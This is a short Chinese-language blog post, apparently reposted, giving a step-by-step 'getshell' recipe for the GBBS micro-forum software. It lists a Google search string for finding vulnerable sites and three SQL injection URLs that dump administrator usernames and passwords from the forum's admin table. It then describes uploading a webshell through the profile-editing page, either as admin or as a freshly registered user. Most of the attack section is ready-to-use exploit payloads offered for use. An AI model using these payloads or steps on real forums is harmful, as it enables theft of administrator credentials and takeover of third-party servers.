GBBS微论坛getshell

发布时间:2020-06-22 12:55:24 作者:luwenji309
来源:网络 阅读:394

1.google搜索:inurl:"userinfo.asp?yhm="

2.注入exp:直接暴管理员密码

/userinfo.asp?yhm='%20union%20select%201,2,3,yhm%2bchr(35)%2bpass,5,6,7,8,9,10,11,12,13,14,15%20from%20yrwl_tb_admin
/ad.asp?ad='%20union%20select%201,2,3,4,5,6,7,8,yhm%2bchr(35)%2bpass%20from%20yrwl_tb_admin
/bbs_bj.asp?id=11%20and%201=2%20union%20select%201,yhm%2bchr(35)%2bpass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19%20from%20yrwl_tb_admin


3.进入后台,在个人资料->修改个人信息 直接上传大马


或者 直接注册一用户,然后在个人资料->修改个人信息 直接上传大马



推荐阅读:
  1. phpcms v9前台getshell
  2. lamp论坛搭建

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

getshell gbbs bs

上一篇:PICT测试用例辅助使用

下一篇:自定义@interface及groups校验

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》